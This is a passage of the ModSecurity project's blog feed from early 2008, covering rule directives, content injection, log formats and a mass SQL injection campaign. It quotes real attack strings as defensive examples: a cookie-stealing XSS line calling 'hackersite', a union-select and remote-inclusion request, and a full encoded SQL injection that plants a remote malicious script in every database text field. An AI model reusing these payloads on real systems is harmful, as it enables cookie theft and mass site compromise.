<p>So now some of you are (or maybe should be) questioning how this new "block" action differs from just not explicitly specifying a disruptive action in the rule to begin with and just letting the inheritance work as designed.  Well, there is not really that much different at first glance.  The named action is a little bit cleaner to read, but there are really two main differences.  The first is that future versions of ModSecurity can expand on how you define and customize "block" in more detail.  The second reason lies in what "block" is doing.  It is explicitly reverting back to the default disruptive action, which leads into the next new feature.</p>

<p>Let me start off with another example (okay, it is the same example, but it is easy to follow).  Below, there is no way to change the disruptive action other than editing the third party rule in place or replacing the rule with a local copy.  The latter is better for maintenance, but it means keeping a local copy of the rule around which may require maintenance during a rule set upgrade.</p>

<pre>
# Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,deny,status:500"

# Replace with a local copy of the rule
SecRuleRemoveById 1
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,pass"
</pre>

<p>With ModSecurity 2.5, you can instead update the action to make it do something else.  This is done via the new SecRuleUpdateActionById directive.  It has the added benefit where if the third party rule set is upgraded later on (provided the id is the same, which it should be - hint) there is no editing required for the local copy of the customization.  In fact, there is no local copy to edit at all.</p>

<pre>
# Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,deny,status:500"

# Update the default action explicitly
SecRuleUpdateActionById 1 "pass"
</pre>

<p>You should notice in the last example that what I did was to change the third party rule back to what I originally specified in the SecDefaultAction.  If only there was a way to just tell the rule to use the default.  This is where the second reason for "block" comes into play (thought I forgot about that, eh).  Instead of explicitly specifying the disruptive action, you can just specify it as "block" and it will instead force the rule to revert back to the last default action.  In this example that is a "pass".  This is just as if the rule author had specified "block" instead of "deny".</p>

<pre>
# Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "id:1,phase:1,t:none,deny,status:500"

# Revert the rule back to the default disruptive action, "pass"
SecRuleUpdateActionById 1 "block"
</pre>

<p>The new SecRuleUpdateActionById directive is not limited to only disruptive actions.  You can update nearly any action.  The only imposed limit is that you may not change the ID of a rule.  However, some care should be taken for actions that are additive (transformations, ctl, setvar, etc.) as these actions are not replaced, but appended to.  For transformations, however, you can "replace" the entire transformation chain by specifying "t:none" as the first transformation in the update (just as you would when inheriting from SecDefaultAction).</p>

<h3>New Build Method and Automated Tests</h3>

<p>Another big change in this release is the build process.  ModSecurity 2.5 is now built with a more automated method.  No more editing a Makefile.  Instead, a configure script was added to automate the creation of a Makefile by searching for the location of all dependencies.  Additionally, I added a number of automated tests to ensure operators and transformations are working as expected (executed via "make test").</p>

<pre>
# Typical build proceedure is now:
./configure
make
make test
sudo make install
</pre>

<h3>Other Notable Changes in this Release</h3>

<p>There are a few other minor additions and changes in this second release candidate as well.</p>

<ul>
<li>The mlogc tool is now included with the ModSecurity 2.5 source.</li>
<li>To help reduce assumptions, the default action is now a minimal "phase:2,log,pass" with no default transformations performed.</li>
<li>A new SecUploadFileMode directive is available to explicitly set the file permissions for uploaded files.  This allows easier integration with external analysis software (virus checkers, etc.).</li>
<li>To help reduce the risk of logging sensitive data, the query string is no longer logged in the error log.</li>
<li>Miscellaneous fixes for removing rules via SecRuleRemoveBy* directives.</li>
</ul>

<h3>How You Can Help</h3>

<p>As you can see there are a lot of new features and enhancements in ModSecurity 2.5.  I hope to see some good feedback from the release candidates so that we can get ModSecurity 2.5 polished up and the stable 2.5.0 available as soon as possible.  Installing and testing in your environment is a great help, but there are other ways you can help.</p>

<ul>
<li>Read through and give suggestions for improvements to the documentation.</li>
<li>Run through the new build/install procedure and give suggestions on how it can be improved.</li>
<li>Tell us how you are using ModSecurity and where your biggest challenges are and where you might be hitting limitations.</li>
</ul>

<h3>Getting ModSecurity</h3>

<p>As always, send questions/comments to the community support mailing list.  You can download the latest releases, view the documentation and subscribe to the mailing list at <a href="http://www.modsecurity.org/">www.modsecurity.org</a>.</p>
]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/01/modsecurity_25.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/01/modsecurity_25.html</guid>
<category>ModSecurity</category>
<pubDate>Wed, 30 Jan 2008 11:14:09 +0000</pubDate>
</item>
<item>
<title>Content Injection Use Case Example</title>
<description><![CDATA[<p>ModSecurity 2.5 introduces a really cool, yet somewhat obscure feature called <a href="http://www.modsecurity.org/documentation/modsecurity-apache/2.5.0-rc1/modsecurity2-apache-reference.html#N1114F">Content Injection</a>.  The concept is pretty interesting as it allows you to inject any text data that you want into the response bodies of your web application.</p>

<p><H2>Identifying Real IP Addresses of Web Attackers</H2></p>

<p>One of the biggest challenges of doing incident response during web attacks is to try and trace back the source IP address information to identify the "real" attacker's computer. The reason why this is so challenging is that attackers almost always loop their attacks through numerous open proxy servers or other compromised hosts where they setup connection tunnels. This means that the actual IP address that shows up in the victims logs is most likely only the last hop in between the attacker and the target site. One way to try and tackle this problem is instead of relying on the TCP-IP address information of the connection, we attempt to handle this at the HTTP layer.</p>

<p>Web security researches (such as <a href="http://jeremiahgrossman.blogspot.com/2007/01/goodbye-applet-hello-nated-ip-address.html">Jeremiah Grossman</a>) have conducted quite a bit research in area of how blackhats can send malicious javascript/java to clients. Once the code executes, it can obtain the client's real (internal NAT) IP address. With this information, the javascript code can do all sorts of interesting stuff such as port scan the internal network. In our scenario, the client is not an innocent victim but instead a malicious client who is attacking our site. The idea is that this code that we send to the client will execute locally, grab their real IP address and then post the data back to a URL location on our site. With this data, we can then perhaps initiate a brand new incident response engagement focusing in on the actual origin of the attacks!</p>

<p>The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the MyAddress.class java applet. This code will force the attacker's browser to initiate a connection back to our web server.</p>

<pre>
SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:'&lt;APPLET CODE=\"MyAddress.class\" MAYSCRIPT WIDTH=0 HEIGHT=0&gt;
&lt;PARAM NAME=\"URL\" VALUE=\"grab_ip.php?IP=\"&gt;
&lt;PARAM NAME=\"ACTION\" VALUE=\"AUTO\"&gt;&lt;/APPLET&gt;'" 
SecRule RESPONSE_CONTENT_TYPE "^text/html"
</pre>

<p>So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this:</p>

<pre>
<strong>203.160.1.47 </strong>- - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=&lt;script&gt;document.write('&lt;img%20
src="http://hackersite/'+document.cookie+'"')&lt;/script&gt; HTTP/1.1" 500 676 
<strong>203.160.1.47</strong> - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP=<strong>222.141.50.175 </strong>HTTP/1.1" 404 207
</pre>

<p>As you can see, even though the IP address in the access_logs shows 203.160.1.47, the data returned in the QUERY_STRING portion of the second line shows that the real IP address of the attacker is 222.141.50.175.  This would mean that in this case, the attacker's system was not on a private network (perhaps just connecting their computer directly to the internet).  In this case, you would be able to obtain the actual IP of an attacker who was conducting a manual attack with a browser.</p>

<pre>
Attacker -> Proxy -> ... -> Proxy -> Target Website.
    ^                         ^
222.141.50.175           203.160.1.47
</pre>

<p><H2>Caveats</H2></p>

<p><H3>Internal LAN</H3></p>

<p>This example is extremely experimental.  As the previous section indicates, if the attacker were behind a router (on a private LAN) then the address range would have probably been in the 192.169.xxx.xxx range.  </p>

<pre>
Attacker -> Firewall/Router -> ... -> Proxy -> Target Website.
    ^                                   ^
192.168.1.100                      203.160.1.47
</pre>

<p>This type of data would not be as useful for our purposes as it wouldn't help for a traceback.</p>

<p><H3>Non-Browser Clients</H3></p>

<p>Since a majority of web attacks are automated, odds are that the application that is sending the exploit payload is not actually a browser but rather some sort of scripting client.  This would mean that the javascript/java code would not actually execute.  </p>

<p><H2>Conclusion</H2></p>

<p>Hopefully you can now see the potential power of the content injection capability in ModSecurity. The goal of this post was to get you thinking about the possibilities.  For other ideas on the interesting types of javascript that we could inject, check out <a href="http://www.gnucitizen.org/projects/atom">PDP's AttackAPI Atom database</a>. ModSecurity will eventually expand this functionality to allow for injecting content at specific locations of a response body instead of just at the beginnin or at the end.<br />
</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/01/content_injecti.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/01/content_injecti.html</guid>
<category>ModSecurity</category>
<pubDate>Fri, 25 Jan 2008 22:59:15 +0000</pubDate>
</item>
<item>
<title>Yes, the Tide for Web Application Firewalls is Turning</title>
<description><![CDATA[<p>Some time ago I decided to start a <a href="http://blog.ivanristic.com">new blog</a>, a place where I would be able to address the topics that are not ModSecurity specific. I felt the ModSecurity Blog has its purpose and a happy audience; I didn't want for it to lose the focus. Today I made my <a href="http://blog.ivanristic.com/2008/01/tide-is-turning.html">first proper post</a> at this new blog:</p>

<blockquote><i>"There is a long-running tradition in the web application firewall space; every year we say: "This year is going to be the one when web application firewalls take off!" So far, every year turned out to be a bit of a disappointment in this respect. This year feels different, and I am not saying this because it's a tradition to do so. Recent months have seen a steady and significant rise in the interest in and the recognition of web application firewalls. But why is it taking so long?</i></blockquote>

<p>To read more please continue to "<a href="http://blog.ivanristic.com/2008/01/tide-is-turning.html">Tide is turning for web application firewalls</a>".</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/01/yes_the_tide_fo.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/01/yes_the_tide_fo.html</guid>
<category>Web Security</category>
<pubDate>Tue, 22 Jan 2008 10:45:33 +0000</pubDate>
</item>
<item>
<title>ModSecurity Data Formats</title>
<description><![CDATA[<p>I have just added a new section to the ModSecurity v2.5 Reference Manual, describing the data formats we use. Nothing spectacular, I know, but it is always nice when things get written down.<br />
<h2>Alerts</h2></p>

<p>Below is an example of a ModSecurity alert entry. It is always contained on a single line but we've broken it here into multiple lines for readability.</p>

<pre>
Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required. [id "960034"] [msg "HTTP protocol version
is not allowed by policy"] [severity "CRITICAL"] [uri "/"] [unique_id
"PQaTTVBEUOkAAFwKXrYAAAAM"]
</pre>

<p>Each alert entry begins with the engine message:</p>

<pre>Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required.</pre>

<p>The engine message consists of two parts. The first part tells you whether ModSecurity acted to interrupt transaction or rule processing. If it did nothing the first part of the message will simply say "Warning". If an action was taken then one of the following messages will be used:</p>

<ul>
<li><em>Access denied with code %0</em> - a response with status code <code>%0</code> was sent.
<li><em>Access denied with connection close</em> - connection was abruptly closed.
<li><em>Access denied with redirection to %0 using status %1</em> - a redirection to URI <code>%0</code> was issued using status <code>%1</code>.
<li><em>Access allowed</em> - rule engine stopped processing rules (transaction was unaffected).
<li><em>Access to phase allowed</em> - rule engine stopped processing rules in the current phase only. Subsequent phases will be processed normally. Transaction was not affected by this rule but it may be affected by any of the rules in the subsequent phase.
<li><em>Access to request allowed</em> - rule engine stopped processing rules in the current phase. Phases prior to request execution in the backend (currently phases 1 and 2) will not be processed. The response phases (currently phases 3 and 4) and others (currently phase 5) will be processed as normal. Transaction was not affected by this rule but it may be affected by any of the rules in the subsequent phase.
</ul>

<p>The second part of the engine message explains why the event was generated. Since it is automatically generated from the rules it will be very technical in nature talking about operators and their parameters and give you insight into what the rule looked like. But this message cannot give you insight into the reasoning behind the rule. A well-written rule will always specify a human-readable message (using the <code>msg</code> action) to provide further clarification.<br />
The metadata fields are always placed at the end of the alert entry. Each metadata field is a text fragment that consists of an open bracket followed by the metadata field name, followed by the value and the closing bracket. What follows is the text fragment that makes up the id metadata field.</p>

<pre>[id "960034"]</pre>

<p>The following metadata fields are currently used:<ol><li><code>id</code> - Unique rule ID, as specified by the <code>id</code> action.<br />
<li><code>rev</code> - Rule revision, as specified by the <code>rev</code> action.<br />
<li><code>msg</code> - Human-readable message, as specified by the <code>msg</code> action.<br />
<li><code>severity</code> - Event severity, as specified by the <code>severity</code> action.<br />
<li><code>unique_id</code> - Unique event ID, generated automatically.<br />
<li><code>uri</code> - Request URI.<br />
<li><code>logdata</code> - contains transaction data fragment, as specified by the <code>logdata</code> action.<br />
</ol></p>

<h3>Alerts in Apache</h3>

<p>Every ModSecurity alert conforms to the following format when it appears in the Apache error log:</p>

<pre>[Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1] ModSecurity: ALERT_MESSAGE</pre>

<p>The above is a standard Apache error log format. The "ModSecurity:" prefix is specific to ModSecurity. It is used to allow quick identification of ModSecurity alert messages when they appear in the same file next to other Apache messages.<br />
The actual message (<code>ALERT_MESSAGE</code> in the example above) is in the same format as described in the <em>Alerts</em> section.</p>

<h3>Alerts in Audit Log</h3>

<p>Alerts are transported in the <code>H</code> section of the ModSecurity Audit Log. Alerts will appear each on a separate line and in the order they were generated by ModSecurity. Each line will be in the following format:</p>

<pre>
Message: ALERT_MESSAGE
</pre>

<p>Below is an example of an entire <code>H</code> section (followed by the <code>Z</code> section terminator):</p>

<pre>
--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
 [msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
 ?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
 (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
 [msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
  
--c7036611-Z--
</pre>

<h2>Audit Log</h2>

<p>ModSecurity records one transaction in a single audit log file. Below is an example:</p>

<pre>
--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 80.68.80.233 80
--c7036611-B--
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),
 password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from
 /**/eb_members/**/where/**/userid=1/*http://kamloopstutor.com/images/banners/on.txt?
 HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.example.com
User-Agent: libwww-perl/5.808
  
--c7036611-F--
HTTP/1.1 404 Not Found
Content-Length: 223
Connection: close
Content-Type: text/html; charset=iso-8859-1
  
--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
 [msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
 ?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
 (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
 [msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Apache-Error: [file "/tmp/buildd/apache2-2.x.x/build-tree/apache2/server/core.c"] [line 3505] [level 3]
 File does not exist: /var/www/EvilBoard_0.1a
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
  
--c7036611-Z--
</pre>

<p>The file consist of multiple sections, each in different format. Separators are used to define sections:</p>

<pre>
--c7036611-A--
</pre>

<p>A separator always begins on a new line and conforms to the following format:</p>

<ol>
<li>Two dashes at the beginning.
<li>Unique boundary, which consists from several hexadecimal characters.
<li>One dash character.
<li>Section identifier, currently a single uppercase letter.
<li>Two trailing dashes at the end.
</ol>

<p>Refer to the documentation for <code>SecAuditLogParts</code> for the explanation of each part.<br />
</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/01/modsecurity_dat.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/01/modsecurity_dat.html</guid>
<category>ModSecurity</category>
<pubDate>Thu, 10 Jan 2008 13:03:17 +0000</pubDate>
</item>
<item>
<title>SQL Injection Attack Infects Thousands of Websites</title>
<description><![CDATA[<p>Here is a snippet from the just released <a href="http://www.sans.org/newsletters/newsbites/newsbites.php?vol=10&issue=2&portal=18568e8354c1477939922bd793b68360#sID200">SANS NewsBites letter</a>:</p>

<blockquote><i>"TOP OF THE NEWS
 --SQL Injection Attack Infects Thousands of Websites
(January 7 & 8, 2008)
At least 70,000 websites have fallen prey to an automated SQL injection attack that exploits several vulnerabilities, including the Microsoft Data Access Components (MDAC) flaw that Microsoft patched in April 2006.  Users have been redirected to another domain [u c 8 0 1 0 . c o m], that attempted to infect users' computers with keystroke loggers. Many of the sites have since been scrubbed.  The attack is similar to one launched last year against the Miami Dolphins' Stadium website just prior to the Super Bowl."</i></blockquote>

<p>Additional coverage is available from several places:<ul><li><a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&taxonomyId=16&articleId=9055858&intsrc=hm_topic">InfoWorld</a><br />
<li><a href="http://www2.csoonline.com/blog_view.html?CID=33430">CSO Online</a><br />
<li><a href="http://www.theregister.co.uk/2008/01/08/malicious_website_redirectors/print.html">The Register</a><br />
</ul></p>

<p>So, there is a new, nasty bot on the loose that is targeting websites that use IIS/MS-SQL DB. It is exploiting non-specific <a href="http://www.webappsec.org/projects/threat/classes/sql_injection.shtml">SQL Injection</a> vulnerabilities that exist in websites to inject malicious JavaScript into all fields. Once it gets the victims to the web site it will try and exploit various known browser and plugin vulnerabilities. Essentially, the attack inserts <code>&lt;script src=http://?.uc8010.com/0.js&gt;&lt;/script&gt;</code> into all varchar and text fields in your SQL database.</p>

<p>While there has been much focus on the goal of the attack -- which is to try and exploit some browser (client) vulnerabilities to perhaps install some trojans or other malware -- not as much attention has been paid to actual attack vector that lead to the compromise: the SQL injection attack itself.</p>

<p>Here is an example IIS log entry of the SQL Injection attack that was posted to a user forum:</p>

<pre>
2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST
(0�4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C0040004300200076006100720063006800610072002800320035003500290020004400450043004C004100520045002
0005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002
000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006
F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006
E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002
00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790070006
5003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007
80074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100360037002
90020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200200046004500540043004
80020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007
200200049004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450054004
30048005F005300540041005400550053003D0030002900200042004500470049004E002000650078006500630028002
70075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B004
00043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006
800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C007300630072006900700074002
0007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002
F0030002E006A0073003E003C002F007300630072006900700074003E002700270027002900460045005400430048002
0004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F0072002
00049004E0054004F002000400054002C0040004300200045004E004400200043004C004F00530045002000540061006
2006C0065005F0043007500720073006F00720020004400450041004C004C004F0043004100540045002000540061006
2006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);�|178|80040e14|
Unclosed_quotation_mark_before_the_character_string_�G;DECLARE_@S_NVARCHAR(4000);SET_@S=CAST
(0�4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C00400043002000&#8242;. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library)
 - 500 15248
</pre>

<p>If you decode the CAST values, here is the actual SQL that is being injected:</p>

<pre>
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name 
from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+'
]))+''&lt;script src=http://c.uc8010.com/0.js&gt;&lt;/script&gt;''')FETCH NEXT FROM  
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T 
varchar(255),@C
</pre>

<p><H2>Mitigation Options</H2></p>

<p>There are many remediation steps that can and should be taken.</p>

<p><H3>Immediate Fix: Use ModSecurity and the Core Rules</H3></p>

<p>If these web sites were front-ended by an Apache reverse proxy server (with ModSecurity and the Core Rules) then the back-end IIS/MS SQL application servers would have been protected against this attack.  The free <a href="http://www.modsecurity.org/projects/rules/index.html">Core Rules</a>, which are available for download from the the ModSecurity web site, include SQL injection rules that would have identified and blocked this specific automated attack. Specifically, Rule ID 950001 in the modsecurity_crs_40_generic_attacks.conf file would have triggered on the <strong>"cast(" </strong>portion of the SQL injection string.</p>

<p><H3>Mid-Term/Long-Term Fix:  Correct the Code</H3></p>

<p>Web Developers should identify and correct any <a href="http://www.owasp.org/index.php/Top_10_2007-A2#Protection">Input Validation</a> errors in their code.<br />
</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/01/sql_injection_a.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/01/sql_injection_a.html</guid>
<category>Web Security</category>
<pubDate>Tue, 08 Jan 2008 22:51:58 +0000</pubDate>
</item>
<item>
<title>Speaking About ModSecurity at ApacheCon Europe 2008</title>
<description><![CDATA[<p>I will be speaking about ModSecurity at <a href="http://eu.apachecon.com/eu2008/">ApacheCon Europe in Amsterdam</a> later this year. I hear ApacheCon Europe 2007 (also in Amsterdam) was great so I am looking forward to participating this year. Interestingly, for some reason or another, this will be the first time ModSecurity will be "officially" presented to the Apache crowd, in spite of the fact we've been going at it for years. As always, the best part is meeting the people you've been communicating with for years.</p>

<blockquote><p><i>
"Intrusion detection is a well-known network security technique -- it introduces monitoring and correlation devices to networks, enabling administrators to monitor events and detect attacks and anomalies in real-time. Web intrusion detection does the same but it works on the HTTP level, making it suitable to deal with security issues in web applications. This session will start with an overview of web intrusion detection and web application firewalls, discussing where they belong in the overall protection strategy. The second part of the talk will discuss ModSecurity and its capabilities. ModSecurity is an open source web application firewall that can be deployed either embedded (in the Apache HTTP server) or as a network gateway (as part of a reverse proxy deployment). Now in its fifth year of development, ModSecurity is mature, robust and flexible. Due to its popularity and wide usage it is now positioned as a de-facto standard in the web intrusion detection space."
</i></p></blockquote>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/01/speaking_about.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/01/speaking_about.html</guid>
<category>ModSecurity</category>
<pubDate>Tue, 08 Jan 2008 13:09:47 +0000</pubDate>
</item>


</channel>
</rss>